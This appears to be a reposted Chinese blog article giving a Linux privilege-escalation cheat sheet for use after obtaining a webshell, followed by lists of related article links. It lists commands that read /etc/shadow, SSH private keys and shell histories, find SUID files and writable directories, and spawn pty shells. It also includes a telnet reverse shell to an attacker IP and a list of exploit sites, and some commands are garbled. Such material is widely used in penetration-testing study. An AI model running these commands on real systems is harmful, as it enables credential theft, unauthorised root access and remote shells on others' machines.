在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的时候我们要进行哪些操作呢?需要了解哪些信息?使用什么样的命令?这些就是本文的重点。

关于Linux权限提升,有下面几个步骤:

信息收集:尽量收集更多的关于系统的信息。

数据分析:通过把收集到的数据以及信息进行分析,提取其中对我们提升权限有用的信息备用。

搜索:要知道我们需要搜索什么以及去哪里找对应的 exp 。

对症下药:修改我们搜索到的 exp ,针对不同的系统不同的情况做针对性的修改。

尝试:万事俱备,只欠东风,最后一步就是验收结果的时候了,有没有用在此一搏。

操作系统信息收集

如何查看服务器的版本?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release # 基于 Debian

cat /etc/redhat-release # 基于 Redhat

如何查看内核的版本信息?

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

环境变量里的信息如何查看?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

是否有打印机?

lpstat -a


应用和服务信息

有什么服务在运行?是以什么样的权限在运行?

ps aux

ps -ef

top

cat /etc/services

关注一下以 root 权限运行的服务,有可能对我们提权有帮助。

ps aux | grep root

ps -ef | grep root

安装了哪些应用?版本是啥?当前是否在运行?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

常见的配置文件有哪些?有没有可被攻击的插件安装?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.r./

有什么工作任务计划?

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

如何查找系统内跟用户名和密码相关的文件?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla


网络通讯相关

系统内是否存在NIC?是否连接这其他网络?

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

网络配置信息在哪?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

与哪些主机在通讯?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

有哪些关于 IP 和 MAC 地址的缓存?

arp -e

route

/sbin/route -nee

如何抓取流量?怎么看?

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

如何得到一个 shell 连接?你可以与系统交互吗?

nc -lvp 4444 # 在攻击者的 PC 上执行

nc -lvp 4445 # 在受害者的 PC 上执行

telnet [atackers ip] 4444 | /bin/sh | telnet [local ip] 4445 # 在受害者的 PC 上执行

其他姿势参见:linux下反弹shell的姿势

如何进行端口转发?

参考文章:穿越边界的姿势

其他姿势请自行探索

如何使用隧道执行命令?

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig


跟用户相关的信息

我是谁?谁登入了?谁登入过?等

id

who

w

last

cat /etc/passwd | cut -d: -f1 # 列出用户

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超级用户

awk -F: '($3 == "0") {print}' /etc/passwd # 列出超级用户

cat /etc/sudoers

sudo -l

有哪些敏感文件?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

根目录如果可以访问,有哪些有趣的东西?

ls -ahlR /root/

ls -ahlR /home/

可能存在密码的文件?

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户做了什么?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

有关用户的信息在哪?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

私钥在什么地方?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key


文件系统

/etc/ 下有哪些文件可写,哪些服务可以被重新配置?

ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

ls -aRl /etc/ | awk '/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在 /var/ 下我们能发现什么?

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

在网站的目录下有没有隐藏文件?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

有哪些日志文件?

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

值得注意的: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

如果命令执行被监视怎么办?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

文件系统如何安装?

mount

df -h

是否有未安装的文件系统?

cat /etc/fstab

有哪些 “ 高级的 Linux 文件权限 ” 在使用?

find / -perm -1000 -type d 2>/dev/null # Sticky bit - 只有目录的所有者或文件的所有者才能删除或重命名。

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - 作为组运行,而不是启动它的用户。

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - 作为所有者运行,而不是启动它的用户。

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # 查找常见位置中用于 SGID 或 SUID 的文件

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null # 从根开始查找所有的 SUID 不包括符号链接,并且只搜索三层

如何查找可写可执行的目录?

find / -writable -type d 2>/dev/null # 可写目录

find / -perm -222 -type d 2>/dev/null # 可写目录

find / -perm -o w -type d 2>/dev/null # 可写目录

find / -perm -o x -type d 2>/dev/null # 可执行目录

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null

如何查找可能存在问题的文件?

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # 可写的文件

find /dir -xdev ( -nouser -o -nogroup ) -print # 没有归属的文件


寻找可利用的漏洞

安装支持哪些工具和语言?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

能够用于上传的软件有那些?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

查找 exploit 的网站?

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

有关漏洞的更多信息?

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

Linux提权中常见命令大全的更多相关文章

  1. Linux下提权常用小命令

    有些新手朋友在拿到一个webshell后如果看到服务器是Linux或Unix操作系统的就直接放弃提权,认为Linux或Unix下的提权很难,不是大家能做的,其实Linux下的提权并没有很多人想象的那么 ...

  2. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  3. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  4. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  5. Linux提权小结

    原文链接:http://zone.secevery.com/article/1104 Linux提权1.信息收集2.脏牛漏洞提权3.内核漏洞exp提权4.SUID提权 0x00 基础信息收集(1):内 ...

  6. Linux提权(持续更新)

    利用/etc/passwd提权 个人认为,这种提权方式在现实场景中难以实现,条件太过苛刻,但是建立Linux下的隐藏账户是个不错的选择,灵感来自:https://www.hackingarticles ...

  7. Linux提权

    讲Linux提权之前,我们先看看与Linux有关的一些知识: 我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和 ...

  8. Linux提权手法整理

    之前写过了windows提权小结,这下一篇水什么就有了嘛,于是有了这篇水文,整理一下Linux提权 前篇windows提权小结 ,链接送上 https://www.cnblogs.com/lcxblo ...

  9. linux的基本操作与常见命令

    linux的基本操作与常见命令: jdk的安装: 步骤:(特别注意:虚拟机安装的一般是32位的操作系统,jdk也必须使用32位的) 查看虚拟机版本:sudo uname --m i686 //表示是3 ...

随机推荐

  1. Visual Studio Code安装以及C/C++运行环境搭建

    众所周知VSCode是全宇宙最好用的编辑器 (雾 配置了很久,今日终于配置完成了,还是有点麻烦的,本文是为了方便一些不懂怎么配置的小白,以及还有一些美化教程. 一.安装 Visual Studio C ...

  2. Maven 梳理 - 核心概念

    Maven坐标 依赖配置 依赖范围 依赖范围scope用来控制依赖和编译,测试,运行的classpath的关系. 主要的是三种依赖关系如下: 1.compile: 默认编译依赖范围.对于编译,测试,运 ...

  3. idea 环境变量设置编码

    1.打开Run/Debug Configuration,选择你的tomcat 2.然后在  Server > VM options 设置为 -Dfile.encoding=UTF-8

  4. 报表统计——java实现查询某年12个月数据,没数据补0

    一般图表绘制例如echarts等,返回数据格式都大同小异.重点是利用sql或者java实现数据格式的转型,接下来是关键部分: 1.mapper层sql语句,返回统计好的月份与对应月份的数据. < ...

  5. ajax跨域访问数据

    通过json发送和接受数据,数据以json的格式在服务器端和前台进行传递,什么是json数据?这里就不进行详细阐述,轻自行百度解决. 在html5 中利用ajax 异步请求时,会遇到跨域的问题,如果域 ...

  6. 正睿国庆DAY2动态规划专题

    正睿国庆DAY2动态规划专题 排列-例题 1~n 的排列个数,每个数要么比旁边两个大,要么比旁边两个小 \(f[i][j]\) 填了前i个数,未填的数有\(j\)个比第\(i\)个小,是波峰 \(g[ ...

  7. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  8. Spring只定义接口自动代理接口实现类

    能够扫描到包 @ComponentScan("org.zxp.esclientrhl") ESCRegistrar类主要实现ImportBeanDefinitionRegistra ...

  9. 什么是VR中的Locomotion?

    Locomotion,本文中我称之为移位,是VR研究中最重要的话题之一.因为它属于VR中三大元老级操作(Selection选择,Manipulation操纵物体,Locomotion移位),其中,前两 ...

  10. java多态的实现原理(JVM调用过程)(综合多篇文章,参考见文末)

    一个对象变量可以指示多种实际类型的现象称为多态 允许不同类的对象对同一消息做出响应.方法的重载.类的覆盖正体现了多态. 1.多态的机制 1.1 本质上多态分两种 1.编译时多态(又称静态多态) 2.运 ...